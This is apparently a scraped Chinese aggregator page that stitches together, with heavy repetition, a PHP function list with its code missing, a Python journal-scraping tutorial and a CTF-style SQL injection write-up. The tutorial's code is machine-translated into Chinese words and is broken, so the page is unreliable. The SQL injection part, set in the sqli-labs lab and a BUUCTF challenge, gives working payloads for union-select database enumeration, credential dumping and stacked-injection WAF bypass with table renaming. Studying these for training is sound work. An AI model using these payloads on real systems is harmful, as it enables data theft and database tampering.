
php截取字符串网站内容
个人总结:超实用PHP函数总结整理
网站优化 • 优采云 发表了文章 • 0 个评论 • 166 次浏览 • 2022-09-24 07:08
1、PHP加解密
PHP加解密函数可以用来加密一些存储在数据库中的有用字符串,通过可逆地解密字符串,这个函数使用base64和MD5加解密。
2、PHP 生成随机字符串
当我们需要生成随机名称、临时密码等字符串时,可以使用以下函数:
4、PHP 获取文件大小和格式
下面使用的函数可以获取文件的大小,并将其转换为可读的KB、MB等格式。
如下使用:
5、PHP 替换标签字符
有时我们需要用指定的内容替换字符串和模板标签,可以使用以下函数:
如下使用:
6、PHP 列出目录中的文件名
如果要列出目录中的所有文件,请使用以下代码:
如下使用:
7、PHP 获取当前页面 URL
以下函数可以获取当前页面的URL,无论是http还是https。
如下使用:
8、PHP强制文件下载
有时候我们不希望浏览器直接打开文件,比如PDF文件,而是直接下载文件,那么下面的函数可以强制下载文件,application/octet-stream头类型为在函数中使用。
如下使用:
下载('/down/test_45f73e852.zip');
9、PHP 截取字符串长度
我们经常会遇到需要截取字符串长度(包括汉字)的情况。比如标题显示不能超过多少个字符,超出的长度用...表示。下面的函数可以满足你的需求。
10、PHP获取客户端真实IP
我们经常使用数据库来记录用户的IP,下面的代码可以得到客户端的真实IP:
如下使用:
11、PHP 防止 SQL 注入
为了安全起见,我们在查询数据库的时候,需要过滤掉一些非法字符,防止恶意SQL注入。请看一下函数:
如下使用:
12、PHP页面提示和跳转
我们在进行表单操作时,有时为了友好需要提示用户操作结果,并跳转到相关页面,请看以下功能:
如下使用:
13、PHP计算时间
在处理时间的时候,我们需要从某个时间点开始计算当前时间的长度,比如计算客户端的运行时间,通常用hh:mm:ss来表示。
如下使用:
总结:python自动抓取论文_用python抓取某期刊最近5年发表的所有文章的关键词
在学术研究中,往往需要了解某个领域的最新发展趋势,比如发现最热门、上升最快的关键词。一些学术服务网站,比如Web of Science,提供了类似的服务,但是一些机构不订阅这些服务,在使用中难免会遇到各种问题,比如定制化不足。本期文章,我们探讨如何利用python和免费资源,根据论文进行研究趋势分析关键词。
精选期刊
想了解近年来国际商务领域的文章刊物,在google搜索“google学术期刊排名国际商务”,点击第一个链接,得到如下页面:
p>
以Journal of International Business Studies为例,它展示了如何捕捉近年来发表的所有信息文章。
查找 文章列表
经过一番搜索,我找到了自 2013 年以来发布的所有 442 个文章的列表:
点击图中红框内的按钮,将所有442篇文章文章的信息导出为CSV文件。
但是文档中只有每个文章的item title(项目标题)、作者(authors)和链接(URL),没有这么重要的关键词(关键词)和抽象(抽象)信息。
接下来,我们在python中编写一个循环,打开每个文章的链接,抓取关键词和摘要。
抓取网页元素
首先,我们定义一个get_keywords_abstract()函数来抓取给定网页中的相关元素,代码如下:
导入请求
从scrapy导入选择器
def get_keywords_abstract(url):
r = requests.get(url) #打开网页
if r.status_code != 200: #如果网页连接错误,返回空字符串
print("连接错误:{}".format(url))
返回 "", ""
选择器 = 选择器(text=r.text)
keywords = selector.css('.Keyword::text').extract()
abstract = selector.css('#Abs1 p::text').extract_first()
返回关键字,摘要
值得注意的是,我使用了scrapy库中的Selector类来解析网页。之所以这样,是因为相比Beautiful Soup、Pyquery等库,我更熟悉scrapy下css选择器的使用。
为了验证上面的代码是否正确,我在命令行中执行了下面的测试代码:
test_url = '%2Fs41267-019-00235-7'
关键词,摘要 = get_keywords_abstract(test_url)
打印(关键字)
打印(摘要)
结果有点出人意料:
>>> 打印(关键字)
['进入模式\xa0', '偏离预测\xa0', '内化理论\xa0', '有限理性\xa0', '认知偏差\xa0']
>>> 打印(摘要)
'我们探讨决策者何时以及为何选择偏离内部化理论预测的国际进入模式(例如,等级或市场)。通过将认知视角应用于进入模式决策,我们提出先前国际活动的表现以不同于内化理论假设的方式影响决策者的行为。更具体地说,由于一个'
关键词末尾有多余的字符,问题不大,可以在后续处理中批量删除。真正的问题是摘要不完整。
在浏览器中打开测试网页,右键查看源码,发现摘要中有一些html标签,如:
...由于代表性偏差,表现不佳...
正是这些 html 标签干扰了正常的文本抓取。
为了解决这个问题,我修改了get_keywords_abstract()函数:
导入请求
从scrapy导入选择器
def get_keywords_abstract(url):
r = requests.get(url) #打开网页
if r.status_code != 200: #如果网页连接错误,返回空字符串
print("连接错误:{}".format(url))
返回 "", ""
选择器 = 选择器(text=r.text)
keywords = selector.css('.Keyword::text').extract()
abstracts = selector.css('#Abs1 p::text').extract() #将extract_first()改为extract(),抓取所有文本片段
abstract = ''.join(abstracts) #连接文本片段
返回关键字,摘要
重新运行测试代码,发现问题解决了。
导入 CSV 文件
下一步是在 CSV 文件中导入 URL 列表,循环遍历 关键词 和摘要。
pandas 库用于导入 CSV 文件:
将熊猫导入为 pd
articles = pd.read_csv('../data/jibs_articles.csv', sep=',')
类型(文章)#
articles.shape # (442, 10)
articles.columns # 列名
articles.head() # 打印前 5 行
for循环
一旦一切正确,循环开始:
urls = 文章['URL']
关键字 = pd.Series(index=articles.index)
abstract = pd.Series(index=articles.index)
for i, url in enumerate(urls):
关键字[i],摘要[i] = get_keywords_abstract(url)
print("Finish article: {}".format(i)) # 抓取网页后,报个号,等待的时候感觉好点。
等了大约20分钟后,我终于抓住了它。只有一个文章打开错误。
保存到 CSV 文件
接下来,我们将关键词和summary整合到一个数据表中,并保存到一个CSV文件中。
articles['keywords'] = 关键字
文章['abstract'] = 摘要
articles.columns # 将关键词和摘要两列添加到数据表中
articles.to_csv('../data/jibs_keywords_abstract.csv', sep=',', header=True)
为了方便下次使用,我们对数据进行了“腌制”:
进口泡菜
with open("../data/articles.pickle", "wb") as f:
pickle.dump(文章, f)
下一次,我们将讨论基于关键词的研究趋势。 查看全部
个人总结:超实用PHP函数总结整理
1、PHP加解密
PHP加解密函数可以用来加密一些存储在数据库中的有用字符串,通过可逆地解密字符串,这个函数使用base64和MD5加解密。
2、PHP 生成随机字符串
当我们需要生成随机名称、临时密码等字符串时,可以使用以下函数:
4、PHP 获取文件大小和格式
下面使用的函数可以获取文件的大小,并将其转换为可读的KB、MB等格式。
如下使用:
5、PHP 替换标签字符
有时我们需要用指定的内容替换字符串和模板标签,可以使用以下函数:
如下使用:
6、PHP 列出目录中的文件名

如果要列出目录中的所有文件,请使用以下代码:
如下使用:
7、PHP 获取当前页面 URL
以下函数可以获取当前页面的URL,无论是http还是https。
如下使用:
8、PHP强制文件下载
有时候我们不希望浏览器直接打开文件,比如PDF文件,而是直接下载文件,那么下面的函数可以强制下载文件,application/octet-stream头类型为在函数中使用。
如下使用:
下载('/down/test_45f73e852.zip');
9、PHP 截取字符串长度
我们经常会遇到需要截取字符串长度(包括汉字)的情况。比如标题显示不能超过多少个字符,超出的长度用...表示。下面的函数可以满足你的需求。
10、PHP获取客户端真实IP

我们经常使用数据库来记录用户的IP,下面的代码可以得到客户端的真实IP:
如下使用:
11、PHP 防止 SQL 注入
为了安全起见,我们在查询数据库的时候,需要过滤掉一些非法字符,防止恶意SQL注入。请看一下函数:
如下使用:
12、PHP页面提示和跳转
我们在进行表单操作时,有时为了友好需要提示用户操作结果,并跳转到相关页面,请看以下功能:
如下使用:
13、PHP计算时间
在处理时间的时候,我们需要从某个时间点开始计算当前时间的长度,比如计算客户端的运行时间,通常用hh:mm:ss来表示。
如下使用:
总结:python自动抓取论文_用python抓取某期刊最近5年发表的所有文章的关键词
在学术研究中,往往需要了解某个领域的最新发展趋势,比如发现最热门、上升最快的关键词。一些学术服务网站,比如Web of Science,提供了类似的服务,但是一些机构不订阅这些服务,在使用中难免会遇到各种问题,比如定制化不足。本期文章,我们探讨如何利用python和免费资源,根据论文进行研究趋势分析关键词。
精选期刊
想了解近年来国际商务领域的文章刊物,在google搜索“google学术期刊排名国际商务”,点击第一个链接,得到如下页面:
p>
以Journal of International Business Studies为例,它展示了如何捕捉近年来发表的所有信息文章。
查找 文章列表
经过一番搜索,我找到了自 2013 年以来发布的所有 442 个文章的列表:
点击图中红框内的按钮,将所有442篇文章文章的信息导出为CSV文件。
但是文档中只有每个文章的item title(项目标题)、作者(authors)和链接(URL),没有这么重要的关键词(关键词)和抽象(抽象)信息。
接下来,我们在python中编写一个循环,打开每个文章的链接,抓取关键词和摘要。
抓取网页元素
首先,我们定义一个get_keywords_abstract()函数来抓取给定网页中的相关元素,代码如下:
导入请求
从scrapy导入选择器
def get_keywords_abstract(url):
r = requests.get(url) #打开网页
if r.status_code != 200: #如果网页连接错误,返回空字符串
print("连接错误:{}".format(url))
返回 "", ""
选择器 = 选择器(text=r.text)
keywords = selector.css('.Keyword::text').extract()
abstract = selector.css('#Abs1 p::text').extract_first()
返回关键字,摘要
值得注意的是,我使用了scrapy库中的Selector类来解析网页。之所以这样,是因为相比Beautiful Soup、Pyquery等库,我更熟悉scrapy下css选择器的使用。
为了验证上面的代码是否正确,我在命令行中执行了下面的测试代码:
test_url = '%2Fs41267-019-00235-7'
关键词,摘要 = get_keywords_abstract(test_url)

打印(关键字)
打印(摘要)
结果有点出人意料:
>>> 打印(关键字)
['进入模式\xa0', '偏离预测\xa0', '内化理论\xa0', '有限理性\xa0', '认知偏差\xa0']
>>> 打印(摘要)
'我们探讨决策者何时以及为何选择偏离内部化理论预测的国际进入模式(例如,等级或市场)。通过将认知视角应用于进入模式决策,我们提出先前国际活动的表现以不同于内化理论假设的方式影响决策者的行为。更具体地说,由于一个'
关键词末尾有多余的字符,问题不大,可以在后续处理中批量删除。真正的问题是摘要不完整。
在浏览器中打开测试网页,右键查看源码,发现摘要中有一些html标签,如:
...由于代表性偏差,表现不佳...
正是这些 html 标签干扰了正常的文本抓取。
为了解决这个问题,我修改了get_keywords_abstract()函数:
导入请求
从scrapy导入选择器
def get_keywords_abstract(url):
r = requests.get(url) #打开网页
if r.status_code != 200: #如果网页连接错误,返回空字符串
print("连接错误:{}".format(url))
返回 "", ""
选择器 = 选择器(text=r.text)
keywords = selector.css('.Keyword::text').extract()
abstracts = selector.css('#Abs1 p::text').extract() #将extract_first()改为extract(),抓取所有文本片段
abstract = ''.join(abstracts) #连接文本片段
返回关键字,摘要
重新运行测试代码,发现问题解决了。
导入 CSV 文件
下一步是在 CSV 文件中导入 URL 列表,循环遍历 关键词 和摘要。

pandas 库用于导入 CSV 文件:
将熊猫导入为 pd
articles = pd.read_csv('../data/jibs_articles.csv', sep=',')
类型(文章)#
articles.shape # (442, 10)
articles.columns # 列名
articles.head() # 打印前 5 行
for循环
一旦一切正确,循环开始:
urls = 文章['URL']
关键字 = pd.Series(index=articles.index)
abstract = pd.Series(index=articles.index)
for i, url in enumerate(urls):
关键字[i],摘要[i] = get_keywords_abstract(url)
print("Finish article: {}".format(i)) # 抓取网页后,报个号,等待的时候感觉好点。
等了大约20分钟后,我终于抓住了它。只有一个文章打开错误。
保存到 CSV 文件
接下来,我们将关键词和summary整合到一个数据表中,并保存到一个CSV文件中。
articles['keywords'] = 关键字
文章['abstract'] = 摘要
articles.columns # 将关键词和摘要两列添加到数据表中
articles.to_csv('../data/jibs_keywords_abstract.csv', sep=',', header=True)
为了方便下次使用,我们对数据进行了“腌制”:
进口泡菜
with open("../data/articles.pickle", "wb") as f:
pickle.dump(文章, f)
下一次,我们将讨论基于关键词的研究趋势。
sql注入学习分享
网站优化 • 优采云 发表了文章 • 0 个评论 • 82 次浏览 • 2022-09-16 22:18
本文为看雪论坛精华文章
看雪论坛作者ID:xi@0ji233
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">一<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
WEB框架</p>
web应用一改我们平时常见的 p2p 和 C/S 模式,采用 B/S 模式。随着网络技术的发展,特别随着Web技术的不断成熟,B/S 这种软件体系结构出现了。浏览器-服务器(Browser/Server)结构,简称 B/S 结构,与 C/S不同,其客户端不需要安装专门的软件,只需要浏览器即可,浏览器与Web服务器交互,Web服务器与后端数据库进行交互,可以方便地在不同平台下工作。比如我们玩的英雄联盟就是典型的 C/S 结构的服务,因为有大量图片资源和 3D 模型存储在本地,因此提前安装好客户端就可以方便地与服务器进行交互,如果采用 B/S 结构的话,在我们游戏开始的时候就要与服务器建立连接,下载好各种资源到本地,然后再与服务器进行交互,各种页游均是 B/S 结构。B/S 的优势就是对需要服务一方的电脑要求较低,很容易可以兼容系统上的差异,客户往往只需要安装浏览器便可以享受全部的 web 服务。web 应用会先向我们的浏览器发送前端语言 javascript 或者 html 给浏览器解析执行,我们经过一定的操作之后会向服务器发送请求,然后服务器根据我们的请求做出不同的答复,这个答复还是前端语言形成的网页。服务器会根据什么规则去响应请求,这个就要用到后端语言了,如 php,aspx 等都是常见的后端语言,现在以 php 为主。比如我们实现一个登录页面,那么这个登录肯定是会用到数据库查询操作的,我们将请求提交给服务器之后,后端语言得到我们发送的数据,然后后端语言就会相应地构造 sql 语句去执行数据库查询,并根据查询结果来响应我们那么我们很清晰了,我们负责发送数据,php 构造 sql 语句去查询。首先明白一点,sql 语句肯定我们能控制,因为我输入什么它就要去查什么。我们的输入一定会被嵌入 sql 语句。如果我们在 sql 中能输入任意内容,那我就相当于直接控制了整个数据库。sql 注入的就这么产生了,带来的本质危害也就是数据库信息泄露,如果数据库配置权限过高甚至能让攻击者拿到 shell。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">二<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sql语言</p>
SQL(Structured Query Language,结构化查询语言)是一种特定目的程式语言,用于管理关系数据库管理系统(RDBMS),或在关系流数据管理系统(RDSMS)中进行流处理。
SQL基于关系代数和元组关系演算,包括一个数据定义语言和数据操纵语言。SQL的范围包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。尽管SQL经常被描述为,而且很大程度上是一种声明式编程(4GL),但是其也含有过程式编程的元素。(from wiki)我们最常用的数据库系统是mysql。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">三<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
Mysql常用函数</p>
数据库基本信息函数
注意,这些函数都无参数且在使用时必须使用 select 关键字输出。
字符串处理函数
在sql中,字符串通常使用一对单引号表示。
sql注入常用函数
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">四<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
Mysql内置数据库</p>
Mysql:保存账户信息,权限信息,存储过程,event,时区等信息。
sys:包含了一系列的存储过程、自定义函数以及视图来帮助我们快速的了解系统的元数据信息。(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)
performance_schema:用于收集数据库服务器性能参数。
information_schema:它提供了访问数据库元数据的方式。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的数据类型与访问权限等。
这里看似很复杂,实际上你只需要知道这个 performance_schema 数据库就可以了。对于一个未知的数据库,我们首先需要知道它的数据库名,数据表名,知道表名之后还得知道字段名,这样我们才能使用类似这样的 sql 语句 select 字段名 from 数据库.表名;去泄露数据库的具体信息。我们 navicat 打开这个数据库观察一下有什么表。
看着很多,其实我们只需要关心三个表:schemata,tables,columns,它们分别能爆出数据库名,表名和字段名。我们先看看第一个表 schemata 的具体信息:
可以看到里面的schema_name 字段的值就是我们当前这个数据库系统中所有的数据库的名字,从左边也可以一一对应看到对应的数据库。然后看看第二个表 tables 的信息。因为有点多我们看主要的:
可以看到里面有一个 table_name 字段就是整个数据库系统的所有表名,然后前面的 table_schema 就是这个表对应的数据库名。这里也可以看到我们这个数据库能从中找到 tables 和 schemata 这两个表名,以及其它乱七八糟的在上一张图也都有显示。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">五<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
获得数据库信息的其它方式</p>
在我们有一个 mysql 连接的情况下,我们想查看所有的数据库很简单,一句 show databases;即可解决,但是通常情况下我们这样子输入并不能很好的回显,如果把数据库名作为一条记录输出出来那处理起来会好很多。我们想查看数据库还可以用这种方式:select schema_name from information_schema.schemata;我们对比一下两个指令的结果。
可以看到结果基本就是一样的。然后我们想查看比如说 world 数据库的表名,我们一般先 use world 再 show tables 或者一句话 show tables from world;直接输出表名,但是有 information_schema 这个数据库,我们就能通过这里把信息显示出来。select table_name from information_schema.tables where table_schema='world';
可以看到结果也是一模一样的。剩下的爆字段就不演示了,同理的。select column_name from information_schema.columns where table_name='city';以上的 payload 可以直接在注入的地方加进去,只需要改一下表名和数据库名即可。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">六<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sqli-labs环境搭建</p>
主要学习的环境还是用的sqli-labs,我是直接在主机上搭建,因为修改代码起来十分方便,一改就能见到效果。但是这么做确保切断了对外界的网络连接,或者心大一点就算了,想着没人会对自己的主机发起进攻的。然后自己再搭建一个 web 服务,能访问就算成功了。
在使用之前在 sqli-labs\sql-connections\目录下的 db-creds.inc 中配置一下自己的用户名和密码,再点击 setup 把数据库先配置好,如果一切OK,那么进入第一关的效果应该是这样的:
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">七<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sql注入详解</p>
在对一个 ctf 打 sql 注入的时候,我们第一步就是要寻找注入点。怎么寻找注入点呢,因为后端源码我们都是不知道的,所以我们只能通过抓包的方式观察所有能提交的参数进行 sql 注入的测试。找到注入点之后我们还需要判断注入的类型。大体的注入分两类,一类是有回显的注入,另一类是没有回显的注入。一般情况下我们优先考虑有回显的注入,因为时间成本比较低,那么我们先来看看有回显的注入吧。
有回显的注入
什么叫有回显?查询到的数据库信息会直接显示出来,你能看到的就叫有回显,反之则是没有回显。有回显的注入有以下类型:
1、联合查询的注入:通过union关键字泄露数据库信息。
2、堆叠注入:通过重新执行一个 sql 语句的方式泄露数据库信息,或者直接增删改查数据库。
3、报错注入:通过一些特殊的函数报错把信息显示出来。
4、二次注入:咕咕咕。
联合查询的注入
利用要求:有回显假如你是 admin 登录之后,它页面可能会显示 hello,admin。那么这个 hello 后面就是一个回显的点,这里就可以用来泄露其它信息。这里需要怎么理解呢,假如它在登录的逻辑是这样写的:select username,passowrd from data.user where username='$input_username' and password='$input_password';
然后我们判断你的账号密码是否正确就主要看它是否能查找到记录,如果找到,那么我选取这条记录的第一个记录的 username 字段,然后输出这个,就达到了它成功登录了什么账号,我输出那个账号的目的了。至于上面为什么说是第一条记录呢,这里你需要这么看:select 的返回结果可能有很多,而不管它返回了一条还是多条它都是一个数据集,是个二维的表。因此选择第一条记录是开发人员默认会加上的,此时我只需使得前面的语句查询失败(返回空数据集)并选取其它内容用 union 合并这个数据集,并把这里的其它内容替换成我想知道的内容,比如它的数据库名,表名,然后它这里就会原样输出这些信息了,我们就知道了。这里需要知道 union 是合并两个数据集的,因此两个数据集的宽度(字段数)必须一样,数据类型可以不一样,返回 php 处理之后都会变成字符串类型其实。这里我们拿刚刚搭建的环境的第一关来做测试:
这里我们不需要寻找测试点了,它这里已经贴心地提醒我们用 get 传一个 id 参数进去了,因此我们先试 1。
可以看到我输入一个 1 它直接贴心的告诉了我们账号和密码是什么,这里显示的账号和密码就是回显的点。我们再测试这个参数是否能注入,最简单最直接的方法就是打个单引号或者双引号进去。
可以发现数据库报错,那就说明这个参数是可以注入的。因此我们用刚刚提到的方法,先另前一个语句查询失败(空数据集),然后再 union 上一个数据集,这个数据集是我们任何我们想泄露的信息,首先我们假装对数据库一无所知,我们第一步就是要知道这里有多少数据库,分别什么名字。根据报错信息可以略微猜测一下它的写法select username,password from xxx.yyy where limit 0,1我们先用引号闭合前面的参数,然后后面加上一个 and 1=0让前面的数据集必为空,然后再 union select 1,2--+,这里需要测试参数的个数,因为你不知道前面有几个字段,不过这里可以姑且先猜个 2,因为目前看来就找了账号和密码嘛,最后用--+去注释后面的单引号。结果发现数据库报了这个错误:The used SELECT statements have a different number of columns,这个也不难看出来是因为 union 前后的数据集含有不同的列数,也就是字段数不一样,所以这里不是两个,那我们换成 3 个参数再看看,如果不行就接着换,知道不报这个错误为止。
这里可以看到结果出来了,那么前面是有三列的,并且账号在第二列,密码在第三列,第一列大概率是这个 id 了。那么我们就朝着这几个回显的地方去改参数,比如我想知道数据库名,就用前面的方法。但是这里需要知道一点,那就是回显的地方这里只能存在一条记录,如果存在多条记录将报错。也就是说我可以把 2 替换成 select xxx from zzzx.yyy 但是必须保证结果集只能含有一条记录一个字段,否则会报错。
一个字段没有问题,但是一条记录的话,你会想到 limit,可以,但是太慢了,如果数据记录很多一条一条打要累死人,这里我们用到之前讲过的聚合函数 group_concat,聚合函数会把所有记录整合成一条记录,并且我们还能一次输出多条记录的信息,那简直一举多得了。我们开始报数据库名吧select schema_name from information_schema.schemata
可以看到我们爆出了当前数据库名和所有数据库名,这里需要注意,我们在替换为语句的时候,语句一定要加上括号,不然它的 sql 会分析失败。然后我们爆一下 security 数据库的信息,先爆表名,其实只需要替换一下就可以了:select group_concat(table_name) from information_schema.tables where table_schema='security'
我们主要收集一下用户信息吧,所以看看 users 数据表的内容,我们先获取字段名,一样一样地往上套就完事了:select group_concat(column_name) from information_schema.columns where table_name='users'
然后我们这里我们就看到了所有的字段名,我们这里点到为止,把所有用户名和密码爆出来就结束吧。select group_concat(username) from security.users和select group_concat(password) from security.users
好,到这里我们就把数据库的信息成功获取到了。
总结
我们可以看到联合查询注入十分方便,几步到位可以把数据库全部泄露出来,但是利用条件一般比较苛刻,需要有回显点才能实现。
堆叠注入
堆叠注入的原理就是使用引号隔开前一个查询语句,再自己书写另外的 sql 语句以此达到任意执行 sql 语句的目的。由于结果很难回显,我们一般这个用的不多,因为我们主要还是获取信息为主,而不是要去修改它的数据库。这个演示我们用 buuctf 里面的一道题吧,是来自2019强网杯的一道题目。
先不管它怎么说,有提交窗口先正常提交看看它原本的业务逻辑。
看这个输出格式,应该也是从数据库里按照一个应该是 id 字段查询,查询结果为两个字段,然后用 var_dump 输出第一条记录的信息,然后按照国际惯例加个分号看它是否报错。
报错了说明有注入点。我们当然还是先试试联合查询注入,用1' union select 1,2--+,然后我们看到它回显了。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
它过滤了很多关键字导致我们没办法直接使用联合查询注入,并且正则后面的/i 表示大小写全匹配,那看来它是不想让你用联合查询注入,我们不妨先试试堆叠注入。我们可以先去 mysql 连接里面自己试试堆叠注入,比如我先实现一个逻辑,这个逻辑仅仅是查询每个数据库的表,那么数据库参数可控,我们就是这么写 sql 语句的:select table_name from information_schema.tables where table_schema='$input_database';。
可以看到随便输入一个数据库可以实现功能,那么我们让$input_database=1';show databases;--,经过拼接之后形成了:select table_name from information_schema.tables where table_schema='1';show databases;--';。可以看到我们在参数中输入了其它的 sql 语句。那我们看看结果如何呢?不出意外地执行了我们输入的 show databases 指令。
所以你也就清楚了堆叠注入是怎么一回事,我们试试看,一般题目里面堆叠注入都没有很好的回显,但是这题它有,至于为什么能有我们等会可以分析一下它题目的源码。
再通过 show tables 我们可以发现有两张表 14514 和 words。然后我们下一步可以用 show columns from table_name 的方式去显示表中所有的字段名。先看看 words 表,发现有 id 和 data 字段,这里大胆点猜测,我们应该是根据 id 去查询 data。它的 sql 语句大概是 select data from supersqli.words where。这里一个烫芝士注意一下啊,就是当数据库名或表名或列名可能引起歧义的时候,需要使用反引号将其包裹。比如你 select 1,2,3 我并不知道你想找的是 1,2,3 三个数值还是这 1,2,3 是列名。那么为了消除这个歧义我们在这个时候使用反引号。
select `1`,`2`,`3`
上述写法就是表示 1,2,3 代表列名,反引号在键盘上数字 1 的左边。这里因为是全数字,所以我们用反引号才能显示出它所有的列,我们可以看到只有一个 flag 列。那 flag 应该是在里面,我们需要查询出它,这里就可以用到堆叠注入的另一种姿势:预编译。我们也先来看看预编译的一般用法:
set @sql='show databases';prepare ext from @sql;execute ext;
可以发现它成功执行了 show databases,你可能会觉得一举两得了,但是这对于我们绕过 WAF 还是很有帮助的,它不让出现 select 这个单词的任意大小写形式,我们就用前面的字符串拼接函数 concat 就可以不出现 select 单词但是能执行 select 语句。我们还是在这个 cmd 里面去运行。
可以看到,我们利用 concat 函数和预编译的方式在全语句没有出现过 select 的情况下使用了 select 语句才能干的事。因为在 php 里面,执行语句的时候才会产生一个进程去执行 sql 语句,语句结束进程也就结束,如果我先 set @sql='xxx'那么再次查询不会保存这个变量的结果,这里就需要把多条语句整合成一条,这也是堆叠注入特有的一个优势吧。我们的payload如下:
1';set @sql=concat('se','lect flag from `1919810931114514`;');prepare ext from @sql;execute ext;
我们打进去的时候发现WAF还有一层检测。
strstr($inject, "set") && strstr($inject, "prepare")
这个很好绕过,因为这个函数它判断大小写的,我们对这两个关键字随便一个字符大写即可绕过,我们最后的payload就是:
1';Set @sql=concat('se','lect flag from `1919810931114514`;');Prepare ext from @sql;execute ext;
成功获得 flag。堆叠注入还有一个很厉害的姿势就是修改数据库,但是请注意不要删库,因为这样的话你可能就拿不到 flag。如果拿完 flag 再把 flag 删了,如果环境你专用你随便玩,公用的话就容易被别人喷了,万一环境不能重置,那你不是直接没了。第二种方式是把装 flag 的表改成本来的逻辑查询的表,也就是 words 表。我们把那个表的名字改成 words,然后它可能是根据 id 查询的,我们就把 flag 列改成 id 也许它是根据 words 查询的,我们到时候改一下就好了。先写出我们这几步的 sql。
rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
如果成功的话我们只需要一个万能密码即可查出所有原 flag 表的所有记录。我们的payload就是
1';rename table `words` to `111`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
执行之后我们使用 1' or 1=1--+得到 flag。
堆叠注入为什么可以实现,下面就到了我们的源码环节了,没有官方的源码,只是从网上寻找到了差不多类似的,复现出来也基本一致。
<p> easy_sql 取材于某次真实环境渗透,只说一句话:开发和安全缺一不可 姿势: 查看全部
sql注入学习分享
本文为看雪论坛精华文章
看雪论坛作者ID:xi@0ji233
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">一<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
WEB框架</p>
web应用一改我们平时常见的 p2p 和 C/S 模式,采用 B/S 模式。随着网络技术的发展,特别随着Web技术的不断成熟,B/S 这种软件体系结构出现了。浏览器-服务器(Browser/Server)结构,简称 B/S 结构,与 C/S不同,其客户端不需要安装专门的软件,只需要浏览器即可,浏览器与Web服务器交互,Web服务器与后端数据库进行交互,可以方便地在不同平台下工作。比如我们玩的英雄联盟就是典型的 C/S 结构的服务,因为有大量图片资源和 3D 模型存储在本地,因此提前安装好客户端就可以方便地与服务器进行交互,如果采用 B/S 结构的话,在我们游戏开始的时候就要与服务器建立连接,下载好各种资源到本地,然后再与服务器进行交互,各种页游均是 B/S 结构。B/S 的优势就是对需要服务一方的电脑要求较低,很容易可以兼容系统上的差异,客户往往只需要安装浏览器便可以享受全部的 web 服务。web 应用会先向我们的浏览器发送前端语言 javascript 或者 html 给浏览器解析执行,我们经过一定的操作之后会向服务器发送请求,然后服务器根据我们的请求做出不同的答复,这个答复还是前端语言形成的网页。服务器会根据什么规则去响应请求,这个就要用到后端语言了,如 php,aspx 等都是常见的后端语言,现在以 php 为主。比如我们实现一个登录页面,那么这个登录肯定是会用到数据库查询操作的,我们将请求提交给服务器之后,后端语言得到我们发送的数据,然后后端语言就会相应地构造 sql 语句去执行数据库查询,并根据查询结果来响应我们那么我们很清晰了,我们负责发送数据,php 构造 sql 语句去查询。首先明白一点,sql 语句肯定我们能控制,因为我输入什么它就要去查什么。我们的输入一定会被嵌入 sql 语句。如果我们在 sql 中能输入任意内容,那我就相当于直接控制了整个数据库。sql 注入的就这么产生了,带来的本质危害也就是数据库信息泄露,如果数据库配置权限过高甚至能让攻击者拿到 shell。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">二<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
sql语言</p>
SQL(Structured Query Language,结构化查询语言)是一种特定目的程式语言,用于管理关系数据库管理系统(RDBMS),或在关系流数据管理系统(RDSMS)中进行流处理。
SQL基于关系代数和元组关系演算,包括一个数据定义语言和数据操纵语言。SQL的范围包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。尽管SQL经常被描述为,而且很大程度上是一种声明式编程(4GL),但是其也含有过程式编程的元素。(from wiki)我们最常用的数据库系统是mysql。
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">三<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
Mysql常用函数</p>
数据库基本信息函数
注意,这些函数都无参数且在使用时必须使用 select 关键字输出。
字符串处理函数
在sql中,字符串通常使用一对单引号表示。
sql注入常用函数
<p mpa-none-contnet="t" style="outline: 0px;font-size: 15px;color: rgb(255, 255, 255);text-align: center;visibility: visible;">四<br style="outline: 0px;visibility: visible;" /><br mpa-from-tpl="t" style="outline: 0px;visibility: visible;" />
Mysql内置数据库</p>
Mysql:保存账户信息,权限信息,存储过程,event,时区等信息。
